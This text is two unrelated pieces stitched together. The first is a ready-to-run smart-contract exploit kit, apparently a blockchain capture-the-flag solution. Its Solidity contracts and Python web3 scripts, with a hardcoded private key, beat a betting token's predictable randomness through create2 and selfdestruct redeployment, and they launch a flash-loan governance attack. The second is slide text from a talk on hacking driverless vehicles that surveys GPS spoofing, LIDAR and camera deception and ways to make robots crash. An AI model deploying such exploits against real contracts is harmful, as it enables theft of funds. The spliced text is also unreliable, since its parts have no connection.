f185d1d1858dac818d85b1b0819985a5b60821b604482015260640160405180910390fd5b50565b60005460 405163095ea7b360e01b81526001600160a01b039091166004820181905260001960248301529063095ea7b 390604401602060405180830381600087803b1580156104f957600080fd5b505af115801561050d573d6000 803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610531919061085c565b5 060008054604051632e7ff4ef60e11b81523060048201526001600160a01b03909116602482018190526af8 277896582678ac0000006044830152608060648301526084820192909252635cffe9de9060a40161037f565 b60408051600180825281830190925260009160208083019080368337019050509050308160008151811061 05bf576105bf610a97565b6001600160a01b039290921660209283029190910190910152604080516001808 2528183019092526000918160200160208202803683370190505090506a52b7d2dcc80cd2e4000000816000 8151811061061b5761061b610a97565b6020908102919091010152604080516001808252818301909252600 091816020015b606081526020019060019003908161063d5790505060408051600481526024810190915260 20810180516001600160e01b0316637356d58960e01b1790528151919250908290600090610692576106926 10a97565b602090810291909101810191909152604080519182018152600082526001549051633eaf40f160 e11b81526001600160a01b0390911690637d5e81e2906106e3908790879087908790600401610a13565b602 060405180830381600087803b1580156106fd57600080fd5b505af1158015610711573d6000803e3d6000fd 5b505050506040513d601f19601f82011682018060405250810190610735919061089e565b507f4828f5bb2 dfa35a5884e15d8a8acbe9637abfc685699bc0b33864f79de95e78960405161078c90602080825260149082 01527363616c6c5f70726f706f7365207375636365737360601b604082015260600190565b6040518091039 0a150505050565b80356001600160a01b03811681146107b157600080fd5b919050565b6000806000806000 8060a087890312156107cf57600080fd5b6107d88761079a565b95506107e66020880161079a565b9450604 0870135935060608701359250608087013567ffffffffffffffff8082111561081157600080fd5b81890191 5089601f83011261082557600080fd5b81358181111561083457600080fd5b8a60208285010111156108465 7600080fd5b6020830194508093505050509295509295509295565b60006020828403121561086e57600080 fd5b8151801515811461087e57600080fd5b9392505050565b60006020828403121561089757600080fd5b5 035919050565b6000602082840312156108b057600080fd5b5051919050565b600081518084526020808501 945080840160005b838110156108f05781516001600160a01b0316875295820195908201906001016108cb5 65b509495945050505050565b600081518084526020808501808196508360051b8101915082860160005b85 811015610943578284038952610931848351610980565b98850198935090840190600101610919565b50919 79650505050505050565b600081518084526020808501945080840160005b838110156108f0578151875295 82019590820190600101610964565b60008151808452610998816020860160208601610a6b565b601f01601 f19169290920160200192915050565b600082516109be818460208701610a6b565b9190910192915050565b 6080815260006109db60808301876108b7565b82810360208401526109ed8187610950565b9050828103604 0840152610a0181866108fb565b91505082606083015295945050505050565b608081526000610a26608083 01876108b7565b8281036020840152610a388187610950565b90508281036040840152610a4c81866108fb5 65b90508281036060840152610a608185610980565b979650505050505050565b60005b83811015610a8657 8181015183820152602001610a6e565b838111156103ad5750506000910152565b634e487b7160e01b60005 2603260045260246000fdfea264697066735822122011fa67178054eac2d4502ce2b58d99efca295857f50f a767343127828151efad64736f6c63430008070033 # # deploy # newContract = w3.eth.contract(bytecode=bytecode, abi=abi) # tx = newContract.constructor().buildTransaction() # print(tx["data"]) def transact(tx):    tx["chainId"] = w3.eth.chain_id    signed_tx = my_account.sign_transaction(tx).rawTransaction    txid = w3.eth.send_raw_transaction(signed_tx)    print(txid.hex()) # transact( #     { #         "value": 0, #         "nonce": w3.eth.get_transaction_count(my_account.address), #         "gas": 3000000, #         "from": my_account.address, #         "gasPrice": 1, #         "data": tx["data"], #     }, # ) # call_propose contract_addr = "0x5723A03536f066E5096d9CCfcFBC9EBbeD32DC19" contract = w3.eth.contract(address=contract_addr,abi=abi) # tx = contract.functions.call_propose().buildTransaction() # print(tx["data"]) # transact( #     { #         "value": 0, #         "nonce": w3.eth.get_transaction_count(my_account.address), #         "gas": 3000000, #         "from": my_account.address, #         "to": contract_addr, #         "gasPrice": 1, #         "data": tx["data"], #     }, # ) # # set pid # pid = 0x6a73b8518d8c9f6b176c0d249c5da328f99354e9a05d6526012bd041be23cbce # tx = contract.functions.set_proposalId(pid).buildTransaction() # print(tx["data"]) # transact( #     { #         "value": 0, #         "nonce": w3.eth.get_transaction_count(my_account.address), #         "gas": 3000000, #         "from": my_account.address, #         "to": contract_addr, #         "gasPrice": 1, #         "data": tx["data"], #     }, # ) # launch attack tx = contract.functions.call_flashLoan().buildTransaction() print(tx["data"]) transact(   {        "value": 0,        "nonce": w3.eth.get_transaction_count(my_account.address),        "gas": 3000000, bet2loss        "from": my_account.address,        "to": contract_addr,        "gasPrice": 1,        "data": tx["data"],   }, ) pragma solidity ^0.8.0; contract Deployer {    bytes public deployBytecode;    address public deployedAddr;    uint256 public nonce;    uint256 public round;    event deploy_addr(address);    function deploy(bytes memory code,uint256 _nonce,uint256 _round) public {        deployBytecode = code;        nonce = _nonce;        round = _round;        address a;        // Compile Dumper to get this bytecode        bytes memory dumperBytecode = hex'60806040523480156200001157600080fd5b50600033905060008173fffffffffffffffffffffffffff fffffffffffff166331d191666040518163ffffffff1660e01b815260040160006040518083038186803b15 80156200006057600080fd5b505afa15801562000075573d6000803e3d6000fd5b505050506040513d60008 23e3d601f19601f82011682018060405250810190620000a091906200055f565b905060008273ffffffffff ffffffffffffffffffffffffffffff1663affed0e06040518163ffffffff1660e01b8152600401602060405 18083038186803b158015620000eb57600080fd5b505afa15801562000100573d6000803e3d6000fd5b5050 50506040513d601f19601f82011682018060405250810190620001269190620005b0565b905060008373fff fffffffffffffffffffffffffffffffffffff1663146ca5316040518163ffffffff1660e01b815260040160 206040518083038186803b1580156200017157600080fd5b505afa15801562000186573d6000803e3d6000f d5b505050506040513d601f19601f82011682018060405250810190620001ac9190620005b0565b90506200 01c08282620001c860201b60201c565b825160208401f35b60007321ac0df70a628cdb042dde6f4eb6cf49b de00ff7905060008173ffffffffffffffffffffffffffffffffffffffff166327e235e3306040518263ffff ffff1660e01b81526004016200021e9190620006a1565b602060405180830381600087803b1580156200023 957600080fd5b505af11580156200024e573d6000803e3d6000fd5b505050506040513d601f19601f820116 82018060405250810190620002749190620005b0565b905060007feb8f8e6e6aec6c492f2d95e709ac2e3d0 583d00beb28f62e0b1b014d4a7398f282604051620002a99190620006be565b60405180910390a160008414 156200031e578273ffffffffffffffffffffffffffffffffffffffff16633884d6356040518163ffffffff1 660e01b8152600401600060405180830381600087803b1580156200030457600080fd5b505af11580156200 0319573d6000803e3d6000fd5b505050505b6200032f856200047660201b60201c565b90508273fffffffff fffffffffffffffffffffffffffffff16636ffcc71982600c6040518363ffffffff1660e01b815260040162 00036f929190620006db565b600060405180830381600087803b1580156200038a57600080fd5b505af1158 0156200039f573d6000803e3d6000fd5b505050508273ffffffffffffffffffffffffffffffffffffffff16 6327e235e3306040518263ffffffff1660e01b8152600401620003de9190620006a1565b602060405180830 381600087803b158015620003f957600080fd5b505af11580156200040e573d6000803e3d6000fd5b505050 506040513d601f19601f82011682018060405250810190620004349190620005b0565b91507feb8f8e6e6ae c6c492f2d95e709ac2e3d0583d00beb28f62e0b1b014d4a7398f282604051620004679190620006be565b60 405180910390a15050505050565b600080600c9050600081844244306040516020016200049994939291906 200064b565b6040516020818303038152906040528051906020012060001c620004be919062000857565b90 508092505050919050565b6000620004e1620004db8462000731565b62000708565b9050828152602081018 484840111156200050057620004ff620008f2565b5b6200050d848285620007b9565b509392505050565b60 0082601f8301126200052d576200052c620008ed565b5b81516200053f848260208601620004ca565b91505 092915050565b60008151905062000559816200091f565b92915050565b6000602082840312156200057857 62000577620008fc565b5b600082015167ffffffffffffffff811115620005995762000598620008f7565b5 b620005a78482850162000515565b91505092915050565b600060208284031215620005c957620005c86200 08fc565b5b6000620005d98482850162000548565b91505092915050565b620005ed8162000767565b82525 050565b62000608620006028262000767565b62000825565b82525050565b6200061981620007a5565b8252 5050565b6200062a816200079b565b82525050565b620006456200063f826200079b565b6200084d565b825 25050565b600062000659828762000630565b6020820191506200066b828662000630565b60208201915062 00067d828562000630565b6020820191506200068f8284620005f3565b60148201915081905095945050505 050565b6000602082019050620006b86000830184620005e2565b92915050565b6000602082019050620006 d560008301846200061f565b92915050565b6000604082019050620006f260008301856200061f565b62000 70160208301846200060e565b9392505050565b60006200071462000727565b9050620007228282620007ef 565b919050565b6000604051905090565b600067ffffffffffffffff8211156200074f576200074e620008b e565b5b6200075a8262000901565b9050602081019050919050565b600062000774826200077b565b905091 9050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600081905091905 0565b6000620007b2826200079b565b9050919050565b60005b83811015620007d957808201518184015260 2081019050620007bc565b83811115620007e9576000848401525b50505050565b620007fa8262000901565 b810181811067ffffffffffffffff821117156200081c576200081b620008be565b5b80604052505050565b 6000620008328262000839565b9050919050565b6000620008468262000912565b9050919050565b6000819 050919050565b600062000864826200079b565b915062000871836200079b565b9250826200088457620008 836200088f565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000 00000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000 000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b60008 0fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b6200092a816200079b565b 81146200093657600080fd5b5056fe';        assembly {            a := create2(callvalue(), add(0x20, dumperBytecode), mload(dumperBytecode), 0x9453)       }        deployedAddr = a;        emit deploy_addr(deployedAddr);       (bool success,) = deployedAddr.call(abi.encodeWithSignature("destroy()"));        require(success,"call fail");   } } interface BetToken{    function airdrop() external;    function bet(uint256,uint256) external;    function balances(address) external returns(uint256); } contract Dumper {    function get_rand(uint256 nonce) public view returns(uint256){        uint256 mod = 12;        uint256 rand = uint256(            keccak256(                abi.encodePacked(                    nonce,                    block.timestamp,                    block.difficulty,                    address(this)               )           )       ) % mod;        return rand;   }    event log_balance(uint256);    function attack(uint256 nonce,uint256 round) public {        BetToken target = BetToken(0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7);        uint256 balance=target.balances(address(this));        uint256 random;        emit log_balance(balance);          if(round == 0){            target.airdrop();       }        random = get_rand(nonce);        target.bet(random,12);        balance = target.balances(address(this));        emit log_balance(balance);   }    constructor() public {        Deployer dp = Deployer(msg.sender);        bytes memory bytecode = dp.deployBytecode();        uint256 nonce = dp.nonce();        uint256 round = dp.round();        attack(nonce,round);        assembly {            return (add(bytecode, 0x20), mload(bytecode))       }   } } contract exp{    function get_rand(uint256 nonce) public view returns(uint256){        uint256 mod = 12;        uint256 rand = uint256(            keccak256(                abi.encodePacked(                    nonce,                    block.timestamp,                    block.difficulty,                    address(this)               )           )       ) % mod;        return rand;   }    event log_balance(uint256);    constructor(uint256 nonce) public{        BetToken target = BetToken(0xd9145CCE52D386f254917e481eB44e9943F39138);        uint256 balance=target.balances(address(this));        uint256 random;        emit log_balance(balance);          target.airdrop();        random = get_rand(nonce);        target.bet(random,12);        balance = target.balances(address(this));        emit log_balance(balance);        // selfdestruct(payable(0));   } } contract another{    event self(string);    function destroy() public {        emit self("selfdestruct");        selfdestruct(payable(0));   } } import sha3 from web3 import Web3, HTTPProvider w3 = Web3(Web3.HTTPProvider('<http://123.60.36.208:8545>')) priv_key = "802d86d9167f48b1c7f927f6247ccf56ed4c754b1be0b179867444f491a3a212" my_account = w3.eth.account.from_key(priv_key) # print(my_account.address) abi = [ { "anonymous": False, "inputs": [ { "indexed": False, "internalType": "address", "name": "", "type": "address" } ], "name": "deploy_addr", "type": "event" }, { "inputs": [ { "internalType": "bytes", "name": "code", "type": "bytes" }, { "internalType": "uint256", "name": "_nonce", "type": "uint256" }, { "internalType": "uint256", "name": "_round", "type": "uint256" } ], "name": "deploy", "outputs": [], "stateMutability": "nonpayable", "type": "function" }, { "inputs": [], "name": "deployBytecode", "outputs": [ { "internalType": "bytes", "name": "", "type": "bytes" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "deployedAddr", "outputs": [ { "internalType": "address", "name": "", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "nonce", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" }, { "inputs": [], "name": "round", "outputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "stateMutability": "view", "type": "function" } ] bytecode = 0x608060405234801561001057600080fd5b50611269806100206000396000f3fe608060405234801561001 057600080fd5b50600436106100575760003560e01c8063146ca5311461005c57806331d191661461007a57 806391e7e5b414610098578063affed0e0146100b4578063d1524f74146100d2575b600080fd5b610064610 0f0565b60405161007191906106ac565b60405180910390f35b6100826100f6565b60405161008f91906106 6a565b60405180910390f35b6100b260048036038101906100ad919061051e565b610184565b005b6100bc6 103ca565b6040516100c991906106ac565b60405180910390f35b6100da6103d0565b6040516100e7919061 064f565b60405180910390f35b60035481565b60008054610103906107d3565b80601f01602080910402602 0016040519081016040528092919081815260200182805461012f906107d3565b801561017c5780601f1061 01515761010080835404028352916020019161017c565b820191906000526020600020905b8154815290600 1019060200180831161015f57829003601f168201915b505050505081565b82600090805190602001906101 9a9291906103f6565b50816002819055508060038190555060008060405180610960016040528061093a815 26020016108fa61093a9139905061945381518260200134f5915081600160006101000a81548173ffffffff ffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160 2179055507f573fc86bc4f5ed8d7250fbeebeef1a9678861dc81694ddb08b5b82a4bb3bb726600160009054 906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051610269919061064f565b604 05180910390a16000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16 73ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527 f83197ef0000000000000000000000000000000000000000000000000000000007bffffffffffffffffffff ffffffffffffffffffffffffffffffffffff19166020820180517bfffffffffffffffffffffffffffffffff fffffffffffffffffffffff838183161783525050505060405161033c9190610638565b6000604051808303 816000865af19150503d8060008114610379576040519150601f19603f3d011682016040523d82523d60006 02084013e61037e565b606091505b50509050806103c2576040517f08c379a0000000000000000000000000 0000000000000000000000000000000081526004016103b99061068c565b60405180910390fd5b505050505 050565b60025481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff 1681565b828054610402906107d3565b90600052602060002090601f0160209004810192826104245760008 55561046b565b82601f1061043d57805160ff191683800117855561046b565b828001600101855582156104 6b579182015b8281111561046a57825182559160200191906001019061044f565b5b5090506104789190610 47c565b5090565b5b8082111561049557600081600090555060010161047d565b5090565b60006104ac6104 a7846106ec565b6106c7565b9050828152602081018484840111156104c8576104c7610899565b5b6104d38 48285610791565b509392505050565b600082601f8301126104f0576104ef610894565b5b81356105008482 60208601610499565b91505092915050565b600081359050610518816108e2565b92915050565b600080600 060608486031215610537576105366108a3565b5b600084013567ffffffffffffffff811115610555576105 5461089e565b5b610561868287016104db565b935050602061057286828701610509565b925050604061058 386828701610509565b9150509250925092565b61059681610755565b82525050565b60006105a78261071d 565b6105b18185610728565b93506105c18185602086016107a0565b6105ca816108a8565b8401915050929 15050565b60006105e08261071d565b6105ea8185610739565b93506105fa8185602086016107a0565b8084 0191505092915050565b6000610613600983610744565b915061061e826108b9565b6020820190509190505 65b61063281610787565b82525050565b600061064482846105d5565b915081905092915050565b60006020 82019050610664600083018461058d565b92915050565b60006020820190508181036000830152610684818 461059c565b905092915050565b600060208201905081810360008301526106a581610606565b9050919050 565b60006020820190506106c16000830184610629565b92915050565b60006106d16106e2565b90506106d d8282610805565b919050565b6000604051905090565b600067ffffffffffffffff82111561070757610706 610865565b5b610710826108a8565b9050602081019050919050565b600081519050919050565b600082825 260208201905092915050565b600081905092915050565b600082825260208201905092915050565b600061 076082610767565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919 050565b6000819050919050565b82818337600083830152505050565b60005b838110156107be5780820151 818401526020810190506107a3565b838111156107cd576000848401525b50505050565b600060028204905 060018216806107eb57607f821691505b602082108114156107ff576107fe610836565b5b50919050565b61 080e826108a8565b810181811067ffffffffffffffff8211171561082d5761082c610865565b5b806040525 05050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260 045260246000fd5b7f4e487b710000000000000000000000000000000000000000000000000000000060005 2604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050 919050565b7f63616c6c206661696c000000000000000000000000000000000000000000000060008201525 0565b6108eb81610787565b81146108f657600080fd5b5056fe60806040523480156200001157600080fd5b 50600033905060008173ffffffffffffffffffffffffffffffffffffffff166331d191666040518163fffff fff1660e01b815260040160006040518083038186803b1580156200006057600080fd5b505afa1580156200 0075573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525081019 0620000a091906200055f565b905060008273ffffffffffffffffffffffffffffffffffffffff1663affed0 e06040518163ffffffff1660e01b815260040160206040518083038186803b158015620000eb57600080fd5 b505afa15801562000100573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052 50810190620001269190620005b0565b905060008373ffffffffffffffffffffffffffffffffffffffff166 3146ca5316040518163ffffffff1660e01b815260040160206040518083038186803b158015620001715760 0080fd5b505afa15801562000186573d6000803e3d6000fd5b505050506040513d601f19601f82011682018 060405250810190620001ac9190620005b0565b9050620001c08282620001c860201b60201c565b82516020 8401f35b60007321ac0df70a628cdb042dde6f4eb6cf49bde00ff7905060008173fffffffffffffffffffff fffffffffffffffffff166327e235e3306040518263ffffffff1660e01b81526004016200021e9190620006 a1565b602060405180830381600087803b1580156200023957600080fd5b505af11580156200024e573d600 0803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002749190620005b0 565b905060007feb8f8e6e6aec6c492f2d95e709ac2e3d0583d00beb28f62e0b1b014d4a7398f2826040516 20002a99190620006be565b60405180910390a160008414156200031e578273ffffffffffffffffffffffff ffffffffffffffff16633884d6356040518163ffffffff1660e01b815260040160006040518083038160008 7803b1580156200030457600080fd5b505af115801562000319573d6000803e3d6000fd5b505050505b6200 032f856200047660201b60201c565b90508273ffffffffffffffffffffffffffffffffffffffff16636ffcc 71982600c6040518363ffffffff1660e01b81526004016200036f929190620006db565b6000604051808303 81600087803b1580156200038a57600080fd5b505af11580156200039f573d6000803e3d6000fd5b5050505 08273ffffffffffffffffffffffffffffffffffffffff166327e235e3306040518263ffffffff1660e01b81 52600401620003de9190620006a1565b602060405180830381600087803b158015620003f957600080fd5b5 05af11580156200040e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250 810190620004349190620005b0565b91507feb8f8e6e6aec6c492f2d95e709ac2e3d0583d00beb28f62e0b1 b014d4a7398f282604051620004679190620006be565b60405180910390a15050505050565b600080600c90 50600081844244306040516020016200049994939291906200064b565b60405160208183030381529060405 28051906020012060001c620004be919062000857565b90508092505050919050565b6000620004e1620004 db8462000731565b62000708565b9050828152602081018484840111156200050057620004ff620008f2565 b5b6200050d848285620007b9565b509392505050565b600082601f8301126200052d576200052c620008ed 565b5b81516200053f848260208601620004ca565b91505092915050565b600081519050620005598162000 91f565b92915050565b600060208284031215620005785762000577620008fc565b5b600082015167ffffff ffffffffff811115620005995762000598620008f7565b5b620005a78482850162000515565b91505092915 050565b600060208284031215620005c957620005c8620008fc565b5b6000620005d9848285016200054856 5b91505092915050565b620005ed8162000767565b82525050565b62000608620006028262000767565b620 00825565b82525050565b6200061981620007a5565b82525050565b6200062a816200079b565b8252505056 5b620006456200063f826200079b565b6200084d565b82525050565b600062000659828762000630565b602 0820191506200066b828662000630565b6020820191506200067d828562000630565b602082019150620006 8f8284620005f3565b60148201915081905095945050505050565b6000602082019050620006b8600083018 4620005e2565b92915050565b6000602082019050620006d560008301846200061f565b92915050565b6000 604082019050620006f260008301856200061f565b6200070160208301846200060e565b9392505050565b6 0006200071462000727565b9050620007228282620007ef565b919050565b6000604051905090565b600067 ffffffffffffffff8211156200074f576200074e620008be565b5b6200075a8262000901565b90506020810 19050919050565b600062000774826200077b565b9050919050565b600073ffffffffffffffffffffffffff ffffffffffffff82169050919050565b6000819050919050565b6000620007b2826200079b565b905091905 0565b60005b83811015620007d9578082015181840152602081019050620007bc565b83811115620007e957 6000848401525b50505050565b620007fa8262000901565b810181811067ffffffffffffffff82111715620 0081c576200081b620008be565b5b80604052505050565b6000620008328262000839565b9050919050565b 6000620008468262000912565b9050919050565b6000819050919050565b600062000864826200079b565b9 15062000871836200079b565b9250826200088457620008836200088f565b5b828206905092915050565b7f 4e487b710000000000000000000000000000000000000000000000000000000060005260126004526024600 0fd5b7f4e487b71000000000000000000000000000000000000000000000000000000006000526041600452 60246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b6 0008160601b9050919050565b6200092a816200079b565b81146200093657600080fd5b5056fea264697066 73582212208ec6dedf669c3552be939ce0ee67cff145fd9715c53ebb3d3f818035d3c3d10f64736f6c63430 008070033 # # deploy # newContract = w3.eth.contract(bytecode=bytecode, abi=abi) # tx = newContract.constructor().buildTransaction() # print(tx["data"]) # def transact(tx): #     tx["chainId"] = w3.eth.chain_id #     signed_tx = my_account.sign_transaction(tx).rawTransaction #     txid = w3.eth.send_raw_transaction(signed_tx) #     print(txid.hex()) # transact( #     { #         "value": 0, #         "nonce": w3.eth.get_transaction_count(my_account.address), #         "gas": 3000000, #         "from": my_account.address, #         "gasPrice": 1, #         "data": tx["data"], #     }, # ) # call contract_addr = "0x135dc4190E10F4E4C656dCb57C4F07e2fa3561e1" contract = w3.eth.contract(address=contract_addr,abi=abi) another_bytecode = "0x6080604052348015600f57600080fd5b506004361060285760003560e01c806383197ef014602d575b60 0080fd5b60336035565b005b7ff7868bd2e9c7123cbb038694bc46968b16a57633e7bbf7f41db735f4d1321 1f360405160609060a1565b60405180910390a1600073ffffffffffffffffffffffffffffffffffffffff16 ff5b6000608d600c8360bf565b915060968260d0565b602082019050919050565b600060208201905081810 3600083015260b8816082565b9050919050565b600082825260208201905092915050565b7f73656c666465 737472756374000000000000000000000000000000000000000060008201525056fea264697066735822122 0a740aaeb1a77f57fbd7617ed7e0085876cdf16276b8e13d9743abce1116d8d1964736f6c63430008070033 " tx = contract.functions.deploy(another_bytecode,0x103,1).buildTransaction() print(tx["data"]) def transact(tx):    tx["chainId"] = w3.eth.chain_id    signed_tx = my_account.sign_transaction(tx).rawTransaction    txid = w3.eth.send_raw_transaction(signed_tx)    print(txid.hex()) transact(   {        "value": 0,        "nonce": w3.eth.get_transaction_count(my_account.address),        "gas": 3000000,        "from": my_account.address,        "to": contract_addr,        "gasPrice": 1,        "data": tx["data"],   }, )
pdf
Hacking Driverless Vehicles Zoz Intelligent Ground Vehicle Competition Student Unmanned Aerial Systems RoboBoat RoboSub International Aerial Robotics Competition • Advantages: • Energy efficiency • Time efficiency • New applications The Revolution Is Coming The Revolution Is Coming FUD Autonomous/Unmanned Systems Autonomous/Unmanned Systems Autonomous/Unmanned Systems • No human driver/pilot on-board • May have off-board controller/supervisor • May have on-board safety pilot/passengers • Military early adopters UAS Uptake Northrop Grumman “Unmanned Advanced Capability Aircraft and Ground Combat Vehicles It shall be a goal of the Armed Forces to achieve the fielding of unmanned, remotely controlled technology such that by 2015, one-third of the operational ground combat vehicles of the Armed Forces are unmanned.” —National Defense Authorization Act for Fiscal Year 2001 (S. 2549, Sec. 217) Some UGVs are designed with threats in mind... Civil Applications Transportation Filmmaking Oceanography Mapping Logistics Powerline Inspection Civil Applications • Priorities: • Precision Agriculture • Self-Driving Cars • Roadblocks: • Shared Infrastructure (Airspace, Roads) • Acceptance (Safety, Robustness) • Let’s Talk Failure! Classic Failures RQ-3 DarkStar $10m Unit Procurement Cost (Units 11-20, 1994 $) On its second flight, due to a software fault in the flight control system the aircraft's porpoising oscillations increased to a nose-high stall as it left the ground and the vehicle crashed. —International Journal of Unmanned Systems Engineering, Vol. 1, No. S3, 1–5 • Expectations of the designers are critical! • Exploitation happens at expectation boundary “cracks” Classic Failures Sandstorm DARPA Grand Challenge 2004 • Deciding what the robot “knows” is a constant battle • Correct state estimation is key to decision making • Successful exploits will most likely subvert state estimation Autonomous Vehicle Logic Structures Activity Hierarchy Control Loops, Stability Maintenance Collision Avoidance Navigation & Localization Mission Task Planners/Reasoners • Attacks lower in the stack defeat everything above • More engineering effort spent on guaranteed robustness at lower levels • Lower layers may be juicier but harder targets Autonomous Vehicle Logic Structures Examples Control Loops, Stability Maintenance Collision Avoidance Navigation & Localization Mission Task Planners/ Reasoners • Extremely vulnerable to collision • High level logic depends on single sensor Lifesaving Drone Pizza Delivery Autopilot PID loops tuned for environmental conditions None! GPS waypoint circuit Dynamic “bombing run” planner, impact point estimator Control Loops, Stability Maintenance Collision Avoidance Navigation & Localization Mission Task Planners/ Reasoners Balancing, weight shifting Dynamic obstacle discrimination & avoidance Route planning from SLAM- generated sensor map Dispense pizza to credit card • Vulnerable to redirection, trapping and map-confusion attacks Autonomous Vehicle Logic Structures Mission Oriented State Machines • States may correspond to tasks • Transitions may be task completions, context switches or timeouts • States may themselves contain state machines, reasoners, planners etc State n State n+1 State n+2 State n+3 State n+4 Autonomous Vehicle Logic Structures Example: Robosub Mission • Vulnerabilities may be in: • State estimation • Transitions (spoofing or preventing) • Unexpected conditions within states Navigate through gate Acquire & touch buoy Search & follow path Obstacle course Identify & drop markers Torpedo targets Manipu- lation task Hydro- phone navigation Retrieve package Sensors • Active vs Passive • Common sensors: • GPS • LIDAR • Cameras • Millimeter Wave Radar • Digital Compass • IMU • Wheel Encoders • Doppler Velocity Logger (subsurface) • Scanning SONAR (subsurface) • Pressure Transducers (air & subsurface) Sensors • Sources of uncertainty: • Noise • Drift • Latency & update rate • Uncertainty must be modeled under assumptions • Sensor fusion: • Fused/registered data can be more useful than separate • What to do when sensors disagree? • Robot robustness may come down to: • How smart is it at discounting 1 bad/spoofed sensor? Sensor Attacks • 2 kinds: • Denial • Preventing sensor from recovering useful data • Spoofing • Causing sensor to retrieve specifically incorrect data • Basic attack mode choice: • Attack sensors directly • Attack aggregated sensor data GPS • Denial: • Jamming • Spoofing: • Fake GPS satellite signals at higher power GPS UT Austin Radionavigation Laboratory LIDAR • Originally industrial monitoring sensors • Mechanically scanned operation • Primarily for collision avoidance & map building • Denial: • Active overpowering • Preventing return signal • Spoofing: • Manipulating absorbence/reflectivity LIDAR • 2D sensor highly orientation dependent • Inclines can look like obstacles • May miss low obstacles & discontinuities LIDAR • Active emission sensor • Can only see what returns a signal • No return = nothing there • Most of the world returns no data LIDAR • Absorbent things look like nothing • Also transparent LIDAR • Reflective things can confuse laser • Faraway things brought near • Loss of return looks like ditch LIDAR • Reflective things can confuse laser • Faraway things brought near • Loss of return looks like ditch Russian “Racal” GPS jammer Use of reflective materials to thwart laser deignators LIDAR • Reflectance is also a feature • Road line detection • Can fake road markings invisibly to human Cameras • Specialized object detection • Sometimes stereo for (noisy!) depth map • Colorizing LIDAR • Denial: • Easily dazzled • Spoofing: • Camouflage techniques • Color assumptions • Repeating patterns MMW RADAR • Collision avoidance • Lower resolution than laser • Most things very reflective • Denial/spoofing: • Chaff • Overhead signs IMU & Compass • Primary navigation sensor for some systems • High fidelity models available • Typical cumulative error: 0.1% of distance traveled • Denial/spoofing: • Extremely difficult to interfere with • Physical attack with magnetic fields Wheel Odometry • Encoders • Useful to know true speed & when stopped • Attacks: • Change wheel diameter • Slippery surface • Removal may cause unpredictable behavior or stoppage Bond vs Robots • GPS Jammer • Smoke/Dust/Vapor • Chaff • Glass caltrops • Oil slick The Map • Great emphasis on preacquired map data • Often considered to be reference ground truth • Reduces recognition load • Traffic lights • Vegetation • Other speed control & traffic management features The Map • Traffic lights • Camera knows where to look • Difference in robot vs human assumptions The Map • Vegetation • Colorized LIDAR • Transmission classifier • Overhanging foliage • Map dependence may exacerbate brittleness of discrimination rules The Map • Map requires constant updates • Local map: • Vulnerable to unexpected real world features • Remote map: • Vulnerable to denial (4G jamming) • Vulnerable to spoofing (MITM attack, standard cellular intercept techniques) Peter Stone, UT Austin Exploiting the Logic Structure • Goal: Maximize uncertainty • Requiring manual assistance • Confusing/annoying occupants • Inconveniencing other road users • Concentrate on fragile maneuvers Logic-Based Physical Attacks • 21st century sabotage • Dependent on vehicle configuration & mission • 4G, GPS-enabled electromagnet • Near IMU/compass/MMW • Triggered by map location/activity Trapping/Redirecting • Attacks at collision avoidance & navigation layers • Force robot to postpone high level tasks • Moving obstacles • Obstacle swarms • Artificial stop lights • Human driver wouldn’t notice, robot can’t ignore Clobbering • Goal: make robot run into something • Subvert collision avoidance • Incapacitate vehicle • Damage/remove sensors • Subtle map deviations • Imitate light vegetation • Simulate obstacles at speed • Disguise entrance walls with reflective/absorbent material within GPS noise • Dynamic obstacles under overhead signs Remember... Driverless vehicles are cool! Don’t do any of these things! Don’t hassle the Hoff! Don’t hax0r the Bots! Instead... Hack on them! SUAS • Tasks: • Waypoint navigation • Search for & ID secret symbols on ground • Connect to narrow-beam wi-fi network • Coming soon: package drop? • Challenges • Image/GPS registration • Panorama stitching & auto target ID Roboboat • Tasks: • Channel navigation • Direct water cannon on target • Identify thermally hot ground item • Disable shore-based water spray • Deploy ground rover & retrieve package • Challenges • Camera/LIDAR sensor fusion • Vegetation/water discrimination • Fouling detection Robosub • Tasks: • 3D Navigation • Visual target recognition • Torpedo shoot • Marker drop • Object manipulation • SONAR pinger seek & package recovery • Challenges • GPS-free navigation • Robust color discrimination • Underwater constraints (e.g. thermal management) Hack The Rules! • Nontraditional vehicles • Experimental power supplies • Dimension limits apply at start only • Vehicle swarms • Hacker sports: find loopholes... and exploit them!
pdf
